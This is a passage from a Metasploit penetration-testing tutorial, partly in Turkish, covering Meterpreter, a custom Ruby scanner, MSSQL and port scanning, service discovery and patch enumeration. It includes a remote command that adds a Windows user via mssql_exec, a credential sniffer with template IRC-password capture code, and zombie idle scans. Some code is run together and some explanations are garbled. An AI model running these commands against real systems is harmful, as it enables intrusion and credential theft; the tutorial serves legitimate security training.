The stager module used in Metasploit works. This module is usually one of the bind, reverse, findtag, passivex modules. The stager module works in the system using DLL injection and provides communication to the Metasploit Framework over TLS/1.0. When communication is established, a GET request is sent and Metasploit, which receives this request, makes the necessary adjustments. The necessary modules are loaded according to the authorizations of the computer working on the other side and the opened command line is transferred to the user.
Meterpreter Design Goals
Privacy
Meterpreter runs entirely on RAM and does not write anything to the hard disk. When Meterpreter runs, a new process is not created in the other system. Meterpreter communicates with Metasploit encrypted. All these possibilities leave as few traces as possible on the other side.
Powerful
Meterpreter uses a communication divided into channels. The TLV Protocol used by Meterpreter has a few limitations.
Extensible
Meterpreter can be expanded with new modules even while it is running. It does not need to be recompiled when new codes and features are added.
Adding New Features at Runtime
New features are added by loading extensions. The client loads DLL files over the socket. The Meterpreter server running on the other side loads the DLL file into memory. The new feature is automatically recognized by the server running on the other side. The client on the local computer loads the API interface provided by metasploit and can start using it immediately. All operations are completed in about 1 second.
Conclusion
Although what is explained in this article may make a lot of sense to programmers, it may not make much sense to average users. No problem. It is enough to know that Meterpreter allows the user to perform operations with a very effective command line.
11 - Creating Your Own Scanner in Metasploit Framework
Metasploit Framework allows you to write your own scanner module for such purposes.
Sometimes you can’t find a module that exactly fits the process you want to do. You want to combine the operations of 2-3 different modules into a single module. For example, you may want to scan your home network for vulnerabilities and record them. Metasploit Framework allows you to write your own scanner module for such purposes.
In programming language, you have access to and use all classes used in Metasploit Framework.
Some features of scanners
They provide access to all exploit classes and modules.
There is proxy, SSL and reporting support.
THREAD management for the scanner and scanning support at the desired interval
It is very easy to write and run.
Although it is said to be easy to write and run, knowing how to code will save you a lot of time. Let’s also state this. In the example below, TCP Exploit Module is included in the system with the include command and the TCP connection variables of this module are used to connect to the desired IP address. After the connection to Port 12345 is established, the “HELLO SERVE” message is sent to the server. Finally, the response given by the server is printed on the screen.
require 'msf/core'class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
Super('Name'=> 'My custom TCP scan',
'Version'=> '$Revision: 1$,
'Description' => 'My quick scanner',
'Author' => 'Your name here',
'License'=> MSF_LICENSE
) register_options( **[ Opt::RPORT(12345)], self.class) end
def run_host(ip) connect**()**
greeting="HELLO SERVER"sock.puts(greeting)data= sock.recv(1024)print_status("Received: #{data} from #{ip}")disconnect**()**
end
end
Saving the Browser You Wrote
You should save the browser you wrote in the right place. When starting msfconsole, modules are loaded from the ./modules/auxuliary/scanner folder. Then we should save the module we just wrote in the ./modules/auxiliary/scanner/http/ folder with the simple_tcp.rb file name and Ruby extension. For detailed information, you can read the title
Metasploit Basic Commands -loadpath-.
You can open a netcat listening session to capture the message of the browser module we will try.
root@kali:~# nc -lnvp 12345 < response.txt
listening on [any]12345 ...
Then we select the new module, set the RHOST variable and run the module.
msf > use scanner/simple_tcp
msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.100
RHOSTS=> 192.168.1.100
msf auxiliary(simple_tcp) > run
> Received: hello metasploit from 192.168.1.100
> Auxiliary module execution completed
I recommend you to examine the modules in Metasploit for detailed usage examples.
Saving Results
The reporting method report_*() offers the following possibilities to the user. You must be using a database for this.
Checks if there is a database connection.
Checks if there are duplicate records.
Writes a found record to the table.
To use the report.*() method, you must include the following include line in your browser file.
include Msf::Auxiliary::Report
Finally, you can use the report_note() method.
report_note():host => rhost,
:type => "myscanner_password",
:data => data
12 - MSSQL Scanning with MSF
Metasploit Framework provides an ability to search for MSSQL installations on other IP addresses in the network you are on.
One of the possibilities that Metasploit Framework provides to the user is that you can search for MSSQL installations on other IP addresses in the network you are on. For this, a trace search is performed with UDP scanning.
When MSSQL is first installed, it listens on port 1433 by default. It may be set to listen on randomly selected ports rather than port 1433. In this case, port 1434 may be asked which port the listening is done on.
In the example below, modules containing the phrase mssql are first searched.
msf > search mssql
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/mssql/mssql_enum normal Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql_enum_domain_accounts normal Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli normal Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_sql_logins normal Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration
auxiliary/admin/mssql/mssql_escalate_dbowner normal Microsoft SQL Server Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli normal Microsoft SQL Server SQLi Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_execute_as normal Microsoft SQL Server Escalate EXECUTE AS
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal Microsoft SQL Server SQLi Escalate Execute AS
auxiliary/admin/mssql/mssql_exec normal Microsoft SQL Server xp_cmdshell Command Execution
auxiliary/admin/mssql/mssql_findandsampledata normal Microsoft SQL Server Find and Sample Data
auxiliary/admin/mssql/mssql_idf normal Microsoft SQL Server Interesting Data Finder
auxiliary/admin/mssql/mssql_ntlm_stealer normal Microsoft SQL Server NTLM Stealer
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli normal Microsoft SQL Server SQLi NTLM Stealer
auxiliary/admin/mssql/mssql_sql normal Microsoft SQL Server Generic Query
auxiliary/admin/mssql/mssql_sql_file normal Microsoft SQL Server Generic Query from File
auxiliary/analyze/jtr_mssql_fast normal John the Ripper MS SQL Password Cracker (Fast Mode) auxiliary/gather/lansweeper_collector normal Lansweeper Credential Collector
auxiliary/scanner/mssql/mssql_hashdump normal MSSQL Password Hashdump
auxiliary/scanner/mssql/mssql_login normal MSSQL Login Utility
auxiliary/scanner/mssql/mssql_ping normal MSSQL Ping Utility
auxiliary/scanner/mssql/mssql_schemadump normal MSSQL Schema Dump
auxiliary/server/capture/mssql normal Authentication Capture: MSSQL
exploit/windows/iis/msadc 1998-07-17 excellent MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution
exploit/windows/mssql/lyris_listmanager_weak_pass 2005-12-08 excellent Lyris ListManager MSDE Weak sa Password
exploit/windows/mssql/ms02_039_slammer 2002-07-24 good MS02-039 Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello 2002-08-05 good MS02-056 Microsoft SQL Server Hello Overflow
exploit/windows/mssql/ms09_004_sp_replwritetovarbin 2008-12-09 good MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption
exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli 2008-12-09 excellent MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection
exploit/windows/mssql/mssql_clr_payload 1999-01-01 excellent Microsoft SQL Server Clr Stored Procedure Payload Execution
exploit/windows/mssql/mssql_linkcrawler 2000-01-01 great Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/mssql/mssql_payload 2000-05-30 excellent Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sqli 2000-05-30 excellent Microsoft SQL Server Payload Execution via SQL Injection
post/windows/gather/credentials/mssql_local_hashdump normal Windows Gather Local SQL Server Hash Dump
post/windows/manage/mssql_local_auth_bypass normal Windows Manage Local Microsoft SQL Server Authorization Bypass
We will use the module named auxiliary/scanner/mssql/mssql_ping from the listed modules. In the example below, MSSQL scanning is performed on the IP address range 10.211.55.1/24.
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
Module options (auxiliary/scanner/mssql/mssql_ping):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption" THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24
RHOSTS=> 10.211.55.1/24
msf auxiliary(mssql_ping) > exploit
> SQL Server information for **10.211.55.128:
> tcp=1433> np= SSHACKTHISBOX-0pipesqlquery
> Version= 8.00.194
> InstanceName= MSSQLSERVER
> IsClustered= No
> ServerName= SSHACKTHISBOX-0
> Auxiliary module execution completed
As can be seen in the result, MSSQL service is running on IP address 10.211.55.128 and Port number 1433. From this point on, brute-force attempts can be made using the mssql_exec module. Alternatively, medusa or THC-Hydra can be used.
msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port (TCP) TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption" USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)msf auxiliary(mssql_exec) > set RHOST 10.211. 55.128
RHOST=> 10.211. 55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS=> password
msf auxiliary(mssql_exec) > set CMD net user atom password /ADD
cmd=> net user atom password /ADD
msf auxiliary(mssql_exec) > exploit
In the example above, if the exploit is successful, a user is added to the MSSQL database by sending the net user atom password /ADD command. Note that this command is entered into the CMD variable with set CMD net user atom password /ADD.
13 - Password Listening in MSF
Metasploit kullanarak, ağda bulunan pop3, imap, ftp ve HTTP protokolleri üzerinden gönderilen parolaları dinleyebilirsiniz. Bu amaçla ‘psnuffle‘ modülü bulunmaktadır.
Metasploit kullanarak, ağda bulunan pop3, imap, ftp ve HTTP protokolleri üzerinden gönderilen parolaları dinleyebilirsiniz. Bu amaçla ‘psnuffle‘ modülü bulunmaktadır.
psnuffle modülü, neredeyse hiçbir ayarlama yapmaya gerek kalmadan kullanılabilir. İsterseniz dışarıdan PCAP dosyası ithal edebilirsiniz. Buradaki örnekte, ayarlar olduğu gibi kullanılacaktır.
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all".
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 1 yes The number of seconds to waitfor **new data
msf auxiliary(psnuffle) > run
> Auxiliary module execution completed
> Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
> Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
> Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
> Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
> Sniffing traffic.....
> Successful FTP Login: 192.168.1.100:21-192.168.1.5:48614 > victim / pass (220 3Com 3CDaemon FTP Server Version 2.0)
Gördüğünüz gibi FTP protokolünde victim kullanıcı adı ve pass parolası ortaya çıkarıldı.
Psnuffle Özelleştirme
İsterseniz, psnuffle aracını, varsayılan olarak dinlediği protokoller haricinde diğer protokoller için de tasarlayabilirsiniz.
Bu özelleştirme işlemi için yapılacak modüller, data/exploits/psnuffle klasörünün içine kaydedilmelidir. Yeni bir modül geliştirmek için öncelikle var olan bir modülü şablon olarak kullanabiliriz.
Aşağıda, POP3 modülünün Düzenli ifadeler kısmı görülmektedir. Bu düzenli ifadeler, dinleme esnasında hangi tür şablona uyan verilerin dikkate alınacağını tanımlamaktadır. Bir miktar karışık gibi görünebilir. Ancak düzenli ifadeleri öğrenmenizi tavsiye ediyoruz. Her yerde karşınıza çıkar ve öğrenirseniz, işinizi kolaylaştırırlar.
Aşağıdaki örneklerde, IRC protokolü için yazılmış bir modülde olması gerekenleri görebilirsiniz.
Öncelikle, dikkate alınacak sinyal tiplerini tanımlayalım. Buradaki IRC komutlarından IDENTIFY, her IRC sunucu tarafından kullanılmamaktadır. En azında Freenode bu şekilde kullanır.
Her modül için mutlaka tanımlanması gereken kısım, hangi Portlar ile ilgileneceğidir. Bu tanımlama için aşağıdaki şablonu kullanabilirsiniz.
**return if **not pkt[:tcp]# We don't want to handle anything other than tcp**return if** (pkt[:tcp].src_port **!=** 6667 and pkt[:tcp].dst_port **!=** 6667)# Process only packet on port 6667#Ensure that the session hash stays the same for both way of communication**if** (pkt[:tcp].dst_port **==** 6667)# When packet is sent to servers= find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")**else** # When packet is coming from the servers= find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")end
Şimdi ise self.sigs bölümünde şablonu oluşturulan türde bir paket yakalandığında ne yapılacağını ayarlamanız gerekmekte. Bunun için de aşağıdaki şablonu kullanabilirsiniz.
**case** matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet contents[:user]=matches #Store the name into the session hash s for later use# Do whatever you like here... maybe a puts if you need towhen :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matchings[:pass]=matches # Store the password into the session hash s as well**if** (s[:user] and s[:pass])# When we have the name and the pass sniffed, print itprint "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"end
sessions.delete(s[:session])# Remove this session because we dont need to track it anymorewhen nil
# No matches, don't do anything else # Just in case anything else is matching...sessions[s[:session]].merge!**({**k => matches**})** # Just add it to the session objectend
Tebrikler kendi modülünüzü yazdınız.
14 - Port Scanning in MSF
In this article, we will briefly look at the port scanning modules provided in Metasploit.
In this article, we will briefly look at the port scanning modules provided in Metasploit. In addition to Nmap and other port scanning options, we will see what kind of flexibility the port scanning modules provided by Metasploit provide to the user.
Port Scanning in Metasploit
Scanners and almost all auxiliary modules use the RHOSTS variable instead of RHOST. The RHOSTS variable can take IP ranges that can be entered in different formats.
IP addresses from a bis file (file:/tmp/hostlist.txt). There should be 1 IP in each line
THREADS
There is a variable called THREADS in the scanning modules used in Metasploit. This variable allows us to determine how many channels the test will be run from during the scan. The THREADS variable is set to 1 by default. Increasing this value speeds up the scan. Although it is useful for speeding up the scan and making things faster, it has some limitations. You should consider the recommendations regarding the THREADS variable in the list below.
If the MSF program is running on Win32 systems, set the THREADS value to 16 and below.
If the MSF program is running on a Cygwin system, set the THREADS value to 200 and below.
If the MSF program is running on a Unix-like system, you can set the THREADS value to 256.
Nmap & db_nmap
In Metasploit, you can use the classic nmap command as well as the db_nmap command. When you use the db_nmap command, the results found are automatically transferred to the hosts table. When you scan with nmap, if you save the results to a file in formats (xml, grepable and normal) for later use with the -oA parameter, you can import that file into Metasplot with the db_import command.
Below, you can see an example of using the nmap command. You can use the nmap command from the operating system’s command line, as well as nmap from the msf > command line. The nmap command in the example will save the results to files named subnet_1. You can transfer these files to Metasploit if you want. If you use the db_nmap -v -sV 192.168.1.0/24 command instead, the results will automatically be saved to the hosts table.
You don’t have to use only nmap or db_nmap for port scanning. There are also other port scanning modules in Metasploit. You can list them with the search portscan command.
msf > search portscan
Matching Modules
***********************
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner
auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner
Now a scan made with nmap and in Metasploit Let’s compare the scan results made with the auxiliary/scanner/portscan/syn scan module.
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) **in **milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent THREADS
TIMEOUT 500 yes The reply read timeout **in **milliseconds
msf auxiliary(syn) > set INTERFACE eth0
INTERFACE=> eth0
msf auxiliary(syn) > set PORTS 80PORTS=> 80msf auxiliary(syn) > set RHOSTS 192.168.1.0/24
RHOSTS=> 192.168.1.0/24
msf auxiliary(syn) > set THREADS 50THREADS=> 50msf auxiliary(syn) > run
> TCP OPEN 192.168.1.1:80
> TCP OPEN 192.168.1.2:80
> TCP OPEN 192.168.1.10:80
> TCP OPEN 192.168.1.109:80
> TCP OPEN 192.168.1.116 :80
> TCP OPEN 192.168.1.150:80
> Scanned 256 of 256 hosts (100% complete)> Auxiliary module execution completed
We know that the scan we did above with the Metasploit auxiliary/scanner/portscan/syn module was recorded in the hosts table Now let’s run a TCP scan using these results. Recall that the IP information needed by an active module is transferred to the RHOSTS variable from the hosts table with the hosts -R command.
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, **in **milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) **in **milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent THREADS
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
msf auxiliary(tcp) > hosts -R
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- ---- ----
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
RHOSTS=> 172.16.194.172
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-1024 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 172.16.194.172 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent THREADS
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
msf auxiliary(tcp) > run
> 172.16.194.172:25 - TCP OPEN
> 172.16.194.172:23 - TCP OPEN
> 172.16.194.172:22 - TCP OPEN
> 172.16.194.172:21 - TCP OPEN
> 172.16.194.172:53 - TCP OPEN
> 172.16.194.172:80 - TCP OPEN
> 172.16.194.172:111 - TCP OPEN
> 172.16.194.172:139 - TCP OPEN
> 172.16.194.172:445 - TCP OPEN
> 172.16.194.172:514 - TCP OPEN
> 172.16.194.172:513 - TCP OPEN
> 172.16.194.172:512 - TCP OPEN
> Scanned 1 of 1 hosts (100% complete)> Auxiliary module execution completed
msf auxiliary(tcp) >
For computers that do not have nmap installed in their operating systems, Metasploit scanning modules provide great convenience.
SMB Version Scanning
Let’s assume that we see that some IP addresses are open and Ports 445 are active in the SYN and TCP scans we perform. In this case, we can use the scan called smb for Windows and samba for Linux.
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210
RHOSTS=> 192.168.1.200-210
msf auxiliary(smb_version) > set THREADS 11THREADS=> 11msf auxiliary(smb_version) > run
> 192.168.1.209:445 is running Windows 2003 R2 Service Pack 2(language: Unknown)(name:XEN-2K3-FUZZ)(domain:WORKGROUP)> 192.168.1.201:445 is running Windows XP Service Pack 3(language: English)(name:V-XP-EXPLOIT)(domain:WORKGROUP)> 192.168.1.202:445 is running Windows XP Service Pack 3(language: English)(name:V-XP-DEBUG)(domain:WORKGROUP)> Scanned 04 of 11 hosts (036% complete)> Scanned 09 of 11 hosts (081% complete)> Scanned 11 of 11 hosts (100% complete)> Auxiliary module execution completed
Now if you issue the hosts command again, you can see that the latest smb scan results have been added to the table.
msf auxiliary(smb_version) > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.201 Microsoft Windows XP SP3 client
192.168.1.202 Microsoft Windows XP SP3 client
192.168.1.209 Microsoft Windows 2003 R2 SP2 server
Idle Scan
One of the scan types provided to the user by Nmap is Idle scan. In a network, an idle computer is found and other IP addresses on the network are scanned using its IP number. First, we need to find an IP address to use for Idle scan. Let’s use the auxiliary/scanner/ip/ipidseq module to find it.
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options (auxiliary/scanner/ip/ipidseq):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent THREADS
TIMEOUT 500 yes The reply read timeout **in **milliseconds
msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS=> 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50THREADS=> 50msf auxiliary(ipidseq) > run
> 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
> 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.104's IPID sequence class: Randomized
> 192.168.1.109's IPID sequence class: Incremental!
[*] 192.168.1.111's IPID sequence class: Incremental!
> 192.168.1.114's IPID sequence class: Incremental!
[*] 192.168.1.116's IPID sequence class: All zeros
> 192.168.1.124's IPID sequence class: Incremental!
[*] 192.168.1.123's IPID sequence class: Incremental!
> 192.168.1.137's IPID sequence class: All zeros
[*] 192.168.1.150's IPID sequence class: All zeros
> 192.168.1.151's IPID sequence class: Incremental!
[*] Auxiliary module execution completed
The IP addresses seen in the output can be used for Idle Scanning. In the example below, the IP address 192.168.1.109 was used as a zombie and a port scan was performed on another IP address (192.168.1.114) in the system.
msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.114
> exec: nmap -PN -sI 192.168.1.109 192.168.1.114
Starting Nmap 5.00 ( <a href="http://nmap.org/">http://nmap.org</a> ) at 2009-08-14 05:51 MDT
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.114:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:41:F2:E8 (VMware)Nmap **done**: 1 IP address (1 host up) scanned **in **5.56 seconds
The open ports and services found as a result of this scan can be seen in the output. You can also do the same with the db_nmap command.
15 - Service Discovery with Metasploit Framework
Metasploit Framework uses a number of modules to discover services running on specific ports and determine their version numbers.
Metasploit Framework includes a number of modules to find services running on specific ports and determine their version numbers. You can use them in some information gathering activities such as service scanning with nmap.
SSH Service
In the example below, we previously ran a scan and found that the ssh service was running on two different IP addresses.
msf > services -p 22 -c name,port,proto
Services
**=========**
host name port proto
---- ---- ---- -----
172.16.194.163 ssh 22 tcp
172.16.194.172 ssh 22 tcp
Now let’s discover which version of SSH these services are running. For this, we will use the module named auxiliary/scanner/ssh/ssh_version.
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set RHOSTS 172.16.194.163 172.16.194.172
RHOSTS=> 172.16.194.163 172.16.194.172
msf auxiliary(ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.194.163 172.16.194.172 yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
msf auxiliary(ssh_version) > run
> 172.16.194.163:22, SSH server version: SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu7
> Scanned 1 of 2 hosts (050% complete)> 172.16.194.172:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
> Scanned 2 of 2 hosts (100% complete)> Auxiliary module execution completed
As you can see in the result output, SSH version numbers have been detected.
FTP Service
The system can be accessed by using the weaknesses of incorrectly configured FTP services. If you see that Port 21 is open on any IP address, it would be useful to check if the FTP service running there allows Anonymous access. In the example below, the ftp_version module is used. Since only one IP address will be scanned, the THREADS variable is set to 1.
First, let’s list the IP addresses that have Port 21 open from the services table.
msf > services -p 21 -c name,proto
Services
**=========**
host name proto
---- ---- -----
172.16.194.172 ftp tcp
Then, let’s use the auxiliary/scanner/ftp/ftp_version module.
msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set RHOSTS 172.16.194.172
RHOSTS=> 172.16.194.172
msf auxiliary(anonymous) > show options
Module options (auxiliary/scanner/ftp/anonymous):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 172.16.194.172 yes The target address range or CIDR identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(anonymous) > run
> 172.16.194.172:21 Anonymous READ (220(vsFTPd 2.3.4**))**
> Scanned 1 of 1 hosts (100% complete)> Auxiliary module execution completed
As you can see, we have gathered information about SSH and FTP services in a very short time. There are many similar discovery modules in Metasploit Framework. It would be useful to take your time and review the list. You can see the approximate number in the output below.
msf > use auxiliary/scanner/
Display all 485 possibilities? (y or n)
16 - Windows Update Discovery in Metasploit
Discovering which updates and patches are applied to a Windows operating system when you have a Meterpreter shell opened in Metasploit Framework.
When you open the Meterpreter shell on a Windows operating system from within the Metasploit Framework, you may want to discover which updates and patches the operating system has made and which it has not made.
Below you can find an example of the use of the post/windows/gather/enum_patches module used for this. The module is a post exploitation module, as its name suggests, and first of all, a meterpreter must be open on the target computer.
In the output below, the module is loaded with the use command and its options are displayed.
msf exploit(handler) > use post/windows/gather/enum_patches
msf post(enum_patches) > show options
Module options (post/windows/gather/enum_patches):
Name Current Setting Required Description
---- --------------- -------- -----------
KB KB2871997, KB2928120 yes A comma separated list of KB patches to search for MSFLOCALS true yes Search for missing patches for which there is a MSF local module
SESSION yes The session to run this module on.
You can review detailed information about the module with the show advanced command.
msf post(enum_patches) > show advanced
Module advanced options (post/windows/gather/enum_patches):
Name : VERBOSE
Current Setting: trueDescription : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
After opening the Meterpreter shell of the Windows operating system using an exploit, send the session to the background and load the enum_patches module with the use command. The SESSION variable in the output of the show options command below should be the session number of the meterpreter shell that we sent to the background. You can see the sessions in the background with the sessions -l command. After making the necessary checks, you can see which updates the Windows computer has made and which ones it has not when you give the run command.
msf post(enum_patches) > show options
Module options (post/windows/gather/enum_patches):
Name Current Setting Required Description
---- --------------- -------- -----------
KB KB2871997, KB2928120 yes A comma separated list of KB patches to search for MSFLOCALS true yes Search for missing patches for which there is a MSF local module
SESSION 1 yes The session to run this module on.
msf post(enum_patches) > run
> KB2871997 applied
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7(x86)> KB2305420 applied
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
> Post module execution completed
As seen above, it is reported that updates with a [+] sign at the beginning are not applied to the system.
17 - Using Nessus in Metasploit Framework
We can use Nessus scan results in Metasploit Framework. In this article, we will see how to use Nessus program within Metasploit Framework.
What is Nessus?
Nessus is a vulnerability scanning program that can be obtained free of charge for personal and non-commercial use. You can use the Nessus scanning program and its results, developed by Tenable, within the Metasploit Framework. In this article, we will see the general outline of the use of the Nessus program within the Metasploit Framework.
Importing Nessus Results
After performing a scan in the Nessus interface, you can save the results in .nbe format. Let’s transfer this file to Metasploit Framework with the db_import command.
After the import process, let’s check the IP addresses recorded in the table with the hosts command.
msf > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.1 one of these operating systems : Mac OS
172.16.194.2 Unknown device
172.16.194.134 Microsoft Windows XP SP2 client
172.16.194.148 Linux Kernel 2.6 on Ubuntu 8.04 (hardy) device
172.16.194.163 Linux Kernel 3.2.6 on Ubuntu 10.04 device
172.16.194.165 phpcgi Linux phpcgi 2.6.32-38-generic-pae #83-Ubuntu SMP Wed Jan 4 12:11:13 UTC 2012 i686 device172.16.194.172 Linux Kernel 2.6 on Ubuntu 8.04 (hardy) device
msf >
services Control
Also, let’s display the services running on the found IP addresses with the services command.
msf > services 172.16.194.172
Services
**========**
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 21 tcp ftp open
172.16.194.172 22 tcp ssh open
172.16.194.172 23 tcp telnet open
172.16.194.172 25 tcp smtp open
172.16.194.172 53 udp dns open
172.16.194.172 53 tcp dns open
172.16.194.172 69 udp tftp open
172.16.194.172 80 tcp www open
172.16.194.172 111 tcp rpc-portmapper open
172.16.194.172 111 udp rpc-portmapper open
172.16.194.172 137 udp netbios-ns open
172.16.194.172 139 tcp smb open
172.16.194.172 445 tcp cifs open
172.16.194.172 512 tcp rexecd open
